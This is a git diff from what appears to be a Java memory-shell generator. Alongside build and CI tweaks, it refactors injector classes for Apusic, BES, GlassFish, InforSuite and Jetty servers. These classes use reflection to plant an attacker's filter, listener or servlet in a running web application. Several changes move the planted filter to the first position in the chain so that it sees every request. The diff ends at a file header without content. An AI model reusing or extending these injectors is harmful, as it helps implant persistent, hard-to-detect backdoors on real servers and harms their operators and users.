diff --git a/.github/workflows/dev-deploy.yaml b/.github/workflows/dev-deploy.yaml index 524d17ed..3f23ac28 100644 --- a/.github/workflows/dev-deploy.yaml +++ b/.github/workflows/dev-deploy.yaml @@ -12,7 +12,10 @@ on: jobs: build-jar: name: Build Jar - runs-on: ubuntu-latest + strategy: + matrix: + os: [ubuntu-latest, windows-latest] + runs-on: ${{ matrix.os }} steps: - uses: actions/checkout@v4 @@ -39,10 +42,16 @@ jobs: working-directory: web run: bun install --frozen-lockfile && bun run build - - name: Build Boot with Gradle + - name: Build Boot with Gradle (Linux) + if: matrix.os == 'ubuntu-latest' run: ./gradlew :boot:test :boot:bootjar - - name: Upload Boot Jar + - name: Build Boot with Gradle (Windows) + if: matrix.os == 'windows-latest' + run: ./gradlew.bat :boot:test :boot:bootjar + + - name: Upload Boot Jar (Linux) + if: matrix.os == 'ubuntu-latest' uses: actions/upload-artifact@v4 with: name: boot diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 00000000..c2042e6a --- /dev/null +++ b/.gitmodules @@ -0,0 +1,3 @@ +[submodule "libs"] + path = libs + url = https://github.com/ReaJason/javaweb-sources.git diff --git a/asserts/neoreg/Dockerfile b/asserts/neoreg/Dockerfile index aa3e746e..c8b394c5 100644 --- a/asserts/neoreg/Dockerfile +++ b/asserts/neoreg/Dockerfile @@ -2,7 +2,7 @@ FROM python:3.12-slim WORKDIR /app -RUN pip install requests +RUN pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple/ COPY neoreg.py . diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/ViewController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/ViewController.java index 0561ba2f..5fc8244b 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/ViewController.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/ViewController.java @@ -2,9 +2,10 @@ import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletResponse; +import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.springframework.core.io.ClassPathResource; -import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; import org.springframework.stereotype.Controller; import org.springframework.util.FileCopyUtils; import org.springframework.web.bind.annotation.GetMapping; @@ -34,23 +35,18 @@ public String handleSearch(HttpServletRequest request, HttpServletResponse respo return renderFileData(relativePath, response); } - @GetMapping({"/ui/docs/*.data", "/ui/*.data"}) - @ResponseBody - public String handleDataFile(HttpServletRequest request, HttpServletResponse response) throws IOException { - String fullPath = request.getRequestURI().replace(request.getContextPath(), ""); - String relativePath = fullPath.substring(4); - return renderFileData(relativePath, response); - } - - @GetMapping("/ui/**") - public String handleHtmlView(HttpServletRequest request) { + @SneakyThrows + public Object handleView(HttpServletRequest request, HttpServletResponse response) { String fullPath = request.getRequestURI().replace(request.getContextPath(), ""); if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) { return "index"; } - String viewPath = fullPath.substring(4); - return viewPath + "/index"; + String docPath = fullPath.substring(4); + if (docPath.endsWith(".data")) { + return ResponseEntity.ok(renderFileData(docPath, response)); + } + return docPath + "/index"; } private String renderFileData(String relativePath, HttpServletResponse response) { @@ -61,8 +57,6 @@ private String renderFileData(String relativePath, HttpServletResponse response) response.setStatus(HttpServletResponse.SC_NOT_FOUND); return "File not found: " + relativePath; } - response.setContentType(MediaType.TEXT_PLAIN_VALUE); - response.setCharacterEncoding("UTF-8"); InputStreamReader reader = new InputStreamReader( resource.getInputStream(), StandardCharsets.UTF_8 diff --git a/build.gradle.kts b/build.gradle.kts index aa13feab..a35126ce 100644 --- a/build.gradle.kts +++ b/build.gradle.kts @@ -9,7 +9,7 @@ idea { } } -version = "2.4.1" +version = "2.4.2-SNAPSHOT" tasks.register("publishAllToMavenCentral") { dependsOn(":memshell-party-common:publishToMavenCentral") diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java index 0dc74a7e..a1b44d87 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java @@ -8,6 +8,7 @@ import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.HashSet; +import java.util.LinkedHashSet; import java.util.Map; import java.util.Set; import java.util.zip.GZIPInputStream; @@ -43,7 +44,7 @@ public ApusicFilterInjector() { } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts == null) { + if (contexts == null || contexts.isEmpty()) { msg += "context not found"; } else { for (Object context : contexts) { @@ -145,7 +146,12 @@ public void inject(Object context, Object filter) throws Exception { Object filterMapping = filterMappingClass.newInstance(); invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); - invokeMethod(webModule, "addBeforeFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping}); + LinkedHashSet beforeFilterMappings = (LinkedHashSet) getFieldValue(webModule, "beforeFilterMappings"); + LinkedHashSet newSet = new LinkedHashSet(); + newSet.add(filterMapping); + newSet.addAll(beforeFilterMappings); + beforeFilterMappings.clear(); + beforeFilterMappings.addAll(newSet); // addFilterModel invokeMethod(webModule, "addFilter", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()}); @@ -218,30 +224,25 @@ public static Field getField(Object obj, String fieldName) throws NoSuchFieldExc } @SuppressWarnings("all") - public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { - try { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - while (clazz != null && method == null) { - try { - if (paramClazz == null) { - method = clazz.getDeclaredMethod(methodName); - } else { - method = clazz.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - clazz = clazz.getSuperclass(); + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); } - if (method == null) { - throw new NoSuchMethodException("Method not found: " + methodName); - } - - method.setAccessible(true); - return method.invoke(obj instanceof Class ? null : obj, param); - } catch (Exception e) { - throw new RuntimeException("Error invoking method: " + methodName, e); } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); } @SuppressWarnings("all") diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java index 6095d3ab..b9c82d6d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java @@ -40,7 +40,7 @@ public ApusicListenerInjector() { } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts == null) { + if (contexts == null || contexts.isEmpty()) { msg += "context not found"; } else { for (Object context : contexts) { @@ -197,30 +197,25 @@ public static Field getField(Object obj, String fieldName) throws NoSuchFieldExc } @SuppressWarnings("all") - public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { - try { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - while (clazz != null && method == null) { - try { - if (paramClazz == null) { - method = clazz.getDeclaredMethod(methodName); - } else { - method = clazz.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - clazz = clazz.getSuperclass(); + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); } - if (method == null) { - throw new NoSuchMethodException("Method not found: " + methodName); - } - - method.setAccessible(true); - return method.invoke(obj instanceof Class ? null : obj, param); - } catch (Exception e) { - throw new RuntimeException("Error invoking method: " + methodName, e); } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); } @SuppressWarnings("all") diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java index 3c0fb3b3..4fb7f3c3 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java @@ -40,7 +40,7 @@ public ApusicServletInjector() { } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts == null) { + if (contexts == null || contexts.isEmpty()) { msg += "context not found"; } else { for (Object context : contexts) { @@ -198,30 +198,25 @@ public static Field getField(Object obj, String fieldName) throws NoSuchFieldExc } @SuppressWarnings("all") - public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { - try { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - while (clazz != null && method == null) { - try { - if (paramClazz == null) { - method = clazz.getDeclaredMethod(methodName); - } else { - method = clazz.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - clazz = clazz.getSuperclass(); + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); } - if (method == null) { - throw new NoSuchMethodException("Method not found: " + methodName); - } - - method.setAccessible(true); - return method.invoke(obj instanceof Class ? null : obj, param); - } catch (Exception e) { - throw new RuntimeException("Error invoking method: " + methodName, e); } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); } @SuppressWarnings("all") diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java index dd87e78c..a70609ed 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java @@ -40,7 +40,7 @@ public BesFilterInjector() { } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts == null) { + if (contexts == null || contexts.isEmpty()) { msg += "context not found"; } else { for (Object context : contexts) { @@ -105,7 +105,7 @@ public Set getContext() throws Exception { return contexts; } - private ClassLoader getWebAppClassLoader(Object context) { + private ClassLoader getWebAppClassLoader(Object context) throws Exception { try { return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); } catch (Exception e) { @@ -218,30 +218,25 @@ public static Field getField(Object obj, String fieldName) throws NoSuchFieldExc } @SuppressWarnings("all") - public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { - try { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - while (clazz != null && method == null) { - try { - if (paramClazz == null) { - method = clazz.getDeclaredMethod(methodName); - } else { - method = clazz.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - clazz = clazz.getSuperclass(); + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); } - if (method == null) { - throw new NoSuchMethodException("Method not found: " + methodName); - } - - method.setAccessible(true); - return method.invoke(obj instanceof Class ? null : obj, param); - } catch (Exception e) { - throw new RuntimeException("Error invoking method: " + methodName, e); } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); } @SuppressWarnings("all") diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java index cfad5985..b1cfed49 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java @@ -36,7 +36,7 @@ public BesListenerInjector() { } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts == null) { + if (contexts == null || contexts.isEmpty()) { msg += "context not found"; } else { for (Object context : contexts) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java index 76329edf..8a384672 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java @@ -35,7 +35,7 @@ public BesValveInjector() { } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts == null) { + if (contexts == null || contexts.isEmpty()) { msg += "context not found"; } else { for (Object context : contexts) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java index f63161ec..0d20fa60 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java @@ -7,7 +7,10 @@ import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.*; +import java.util.HashSet; +import java.util.List; +import java.util.Map; +import java.util.Set; import java.util.zip.GZIPInputStream; /** @@ -40,7 +43,7 @@ public GlassFishFilterInjector() { } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts == null) { + if (contexts == null || contexts.isEmpty()) { msg += "context not found"; } else { for (Object context : contexts) { @@ -126,15 +129,18 @@ public void inject(Object context, Object shell) throws Exception { } Object filterDef; Object filterMap; + Class filterMapClass; ClassLoader contextClassLoader = context.getClass().getClassLoader(); try { // tomcat v8+ filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance(); - filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance(); + filterMapClass = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap"); + filterMap = filterMapClass.newInstance(); } catch (Exception e2) { // tomcat v5+ filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance(); - filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance(); + filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap"); + filterMap = filterMapClass.newInstance(); } invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); @@ -145,19 +151,16 @@ public void inject(Object context, Object shell) throws Exception { } invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); - Constructor[] constructors; try { invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); } catch (Exception e) { // tomcat v5 invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); } - try { - // v7.0.0 以上 - invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); - } catch (Exception e) { - invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); - } + + // addFilterMapFirst + List filterMaps = (List) invokeMethod(context, "findFilterMaps", null, null); + filterMaps.add(0, filterMap); Constructor filterConfigConstructor; filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0]; @@ -228,21 +231,39 @@ public static Object invokeMethod(Object obj, String methodName, Class[] para } @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Class clazz = obj.getClass(); - while (clazz != Object.class) { + public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { try { - Field field = clazz.getDeclaredField(name); - field.setAccessible(true); - return field.get(obj); - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); + return clazz.getDeclaredField(name); + } catch (NoSuchFieldException ignored) { + } } throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + try { + Field field = getField(obj, name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + } + return null; + } + + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + Field field = getField(obj, fieldName); + field.setAccessible(true); + field.set(obj, value); + } + + @SuppressWarnings("all") private String getErrorMessage(Throwable throwable) { PrintStream printStream = null; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java index 4df37f49..a2abf9f3 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java @@ -36,7 +36,7 @@ public GlassFishValveInjector() { } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts == null) { + if (contexts == null || contexts.isEmpty()) { msg += "context not found"; } else { for (Object context : contexts) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java index 0de8cf4a..e338593b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java @@ -4,11 +4,11 @@ import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.PrintStream; +import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.*; -import java.util.logging.Logger; import java.util.zip.GZIPInputStream; /** @@ -41,7 +41,7 @@ public InforSuiteFilterInjector() { } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts == null) { + if (contexts == null || contexts.isEmpty()) { msg += "context not found"; } else { for (Object context : contexts) { @@ -95,7 +95,7 @@ public Set getContext() throws Exception { return contexts; } - private ClassLoader getWebAppClassLoader(Object context) { + private ClassLoader getWebAppClassLoader(Object context) throws Exception { try { return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); } catch (Exception e) { @@ -128,17 +128,28 @@ public void inject(Object context, Object filter) throws Exception { } ClassLoader contextClassLoader = context.getClass().getClassLoader(); Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance(); - Object filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance(); + Class filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap"); + Object filterMap = filterMapClass.newInstance(); invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()}); invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); + // addFilterMapFirst try { - invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + Object filterMaps = getFieldValue(context, "filterMaps"); + if (filterMaps instanceof List) { + // InforSuite9 + ((List) filterMaps).add(0, filterMap); + } } catch (Exception e) { - invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + // InforSuite10 + Object[] iasFilterMaps = (Object[]) getFieldValue(getFieldValue(context, "iasFilterMaps"), "array"); + Object[] results = (Object[]) Array.newInstance(filterMapClass, iasFilterMaps.length + 1); + results[0] = filterMap; + System.arraycopy(iasFilterMaps, 0, results, 1, iasFilterMaps.length); + setFieldValue(getFieldValue(context, "iasFilterMaps"), "array", results); } Constructor[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); @@ -192,52 +203,54 @@ public static byte[] gzipDecompress(byte[] compressedData) throws IOException { } @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String fieldName) throws Exception { - Field field = getField(obj, fieldName); + public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + return clazz.getDeclaredField(name); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + +@SuppressWarnings("all") +public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + Field field = getField(obj, name); field.setAccessible(true); return field.get(obj); } - @SuppressWarnings("all") - public static Field getField(Object obj, String fieldName) throws NoSuchFieldException { - Class clazz = obj.getClass(); - while (clazz != null) { - try { - Field field = clazz.getDeclaredField(fieldName); - field.setAccessible(true); - return field; - } catch (NoSuchFieldException e) { - clazz = clazz.getSuperclass(); - } - } - throw new NoSuchFieldException(fieldName); + +public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + Field field = getField(obj, fieldName); + field.setAccessible(true); + field.set(obj, value); } @SuppressWarnings("all") - public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { - try { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - while (clazz != null && method == null) { - try { - if (paramClazz == null) { - method = clazz.getDeclaredMethod(methodName); - } else { - method = clazz.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - clazz = clazz.getSuperclass(); + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); } - if (method == null) { - throw new NoSuchMethodException("Method not found: " + methodName); - } - - method.setAccessible(true); - return method.invoke(obj instanceof Class ? null : obj, param); - } catch (Exception e) { - throw new RuntimeException("Error invoking method: " + methodName, e); } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); } @SuppressWarnings("all") diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java index f447c0b2..b8186b16 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java @@ -5,9 +5,7 @@ import java.io.IOException; import java.io.PrintStream; import java.lang.reflect.*; -import java.util.ArrayList; import java.util.HashSet; -import java.util.List; import java.util.Set; import java.util.zip.GZIPInputStream; @@ -44,7 +42,7 @@ public JettyFilterInjector() { } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts == null) { + if (contexts == null || contexts.isEmpty()) { msg += "context not found"; } else { for (Object context : contexts) { @@ -86,68 +84,53 @@ public void inject(Object context, Object filter) throws Exception { return; } - String[] classNames = new String[]{ - "org.eclipse.jetty.servlet.FilterHolder", - "org.eclipse.jetty.ee8.servlet.FilterHolder", - "org.eclipse.jetty.ee9.servlet.FilterHolder", - "org.eclipse.jetty.ee10.servlet.FilterHolder", - "org.eclipse.jetty.ee11.servlet.FilterHolder", - "org.mortbay.jetty.servlet.FilterHolder", + String[][] filterHolderClassNames = new String[][]{ + new String[]{"org.eclipse.jetty.servlet.FilterHolder", "org.eclipse.jetty.servlet.FilterMapping"}, + new String[]{"org.mortbay.jetty.servlet.FilterHolder", "org.mortbay.jetty.servlet.FilterMapping"}, + new String[]{"org.eclipse.jetty.ee8.servlet.FilterHolder", "org.eclipse.jetty.ee8.servlet.FilterMapping"}, + new String[]{"org.eclipse.jetty.ee9.servlet.FilterHolder", "org.eclipse.jetty.ee9.servlet.FilterMapping"}, + new String[]{"org.eclipse.jetty.ee10.servlet.FilterHolder", "org.eclipse.jetty.ee10.servlet.FilterMapping"}, + new String[]{"org.eclipse.jetty.ee11.servlet.FilterHolder", "org.eclipse.jetty.ee11.servlet.FilterMapping"}, }; Class filterHolderClass = null; + Class filterMappingClass = null; - for (String className : classNames) { + for (String[] classNames : filterHolderClassNames) { try { - filterHolderClass = context.getClass().getClassLoader().loadClass(className); + filterHolderClass = context.getClass().getClassLoader().loadClass(classNames[0]); + filterMappingClass = context.getClass().getClassLoader().loadClass(classNames[1]); } catch (ClassNotFoundException ignored) { } } - if (filterHolderClass == null) { - throw new ClassNotFoundException("FilterHodler"); + if (filterHolderClass == null || filterMappingClass == null) { + throw new ClassNotFoundException("FilterHodler or FilterMapping not found"); } Constructor constructor = filterHolderClass.getConstructor(Class.class); Object filterHolder = constructor.newInstance(filter.getClass()); invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()}); - invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1}); - moveFilterToFirst(servletHandler); - invokeMethod(servletHandler, "invalidateChainsCache"); - } - private void moveFilterToFirst(Object servletHandler) throws Exception { - Object filterMaps = getFieldValue(servletHandler, "_filterMappings"); - ArrayList reorderedFilters = new ArrayList(); - int filterLength; + invokeMethod(servletHandler, "addFilter", new Class[]{filterHolderClass}, new Object[]{filterHolder}); - if (filterMaps.getClass().isArray()) { - filterLength = Array.getLength(filterMaps); - for (int i = 0; i < filterLength; i++) { - Object filter = Array.get(filterMaps, i); - String filterName = (String) getFieldValue(filter, "_filterName"); - if (filterName.equals(getClassName())) { - reorderedFilters.add(0, filter); - } else { - reorderedFilters.add(filter); - } - } - for (int i = 0; i < filterLength; i++) { - Array.set(filterMaps, i, reorderedFilters.get(i)); - } - } else if (filterMaps instanceof ArrayList) { - ArrayList filterList = (ArrayList) filterMaps; - for (Object filter : filterList) { - String filterName = (String) getFieldValue(filter, "_filterName"); - if (filterName.equals(getClassName())) { - reorderedFilters.add(0, filter); - } else { - reorderedFilters.add(filter); - } - } - filterList.clear(); - filterList.addAll(reorderedFilters); + Object filterMapping = filterMappingClass.getConstructor().newInstance(); + invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); + invokeMethod(filterMapping, "setPathSpec", new Class[]{String.class}, new Object[]{getUrlPattern()}); + invokeMethod(filterMapping, "setDispatches", new Class[]{int.class}, new Object[]{1}); + + Object[] mappings = (Object[]) invokeMethod(servletHandler, "getFilterMappings"); + Object[] newMappings = null; + int length = Array.getLength(mappings); + if (mappings == null || length == 0) { + newMappings = (Object[]) Array.newInstance(filterMappingClass, 1); + } else { + newMappings = (Object[]) Array.newInstance(filterMappingClass, length + 1); + System.arraycopy(mappings, 0, newMappings, 1, length); } + newMappings[0] = filterMapping; + invokeMethod(servletHandler, "setFilterMappings", new Class[]{Array.newInstance(filterMappingClass, 0).getClass()}, new Object[]{newMappings}); + invokeMethod(servletHandler, "invalidateChainsCache"); } @Override diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java index 880f7c01..6b4c5bd6 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java @@ -29,7 +29,7 @@ public JettyListenerInjector() { } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts == null) { + if (contexts == null || contexts.isEmpty()) { msg += "context not found"; } else { for (Object context : contexts) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java 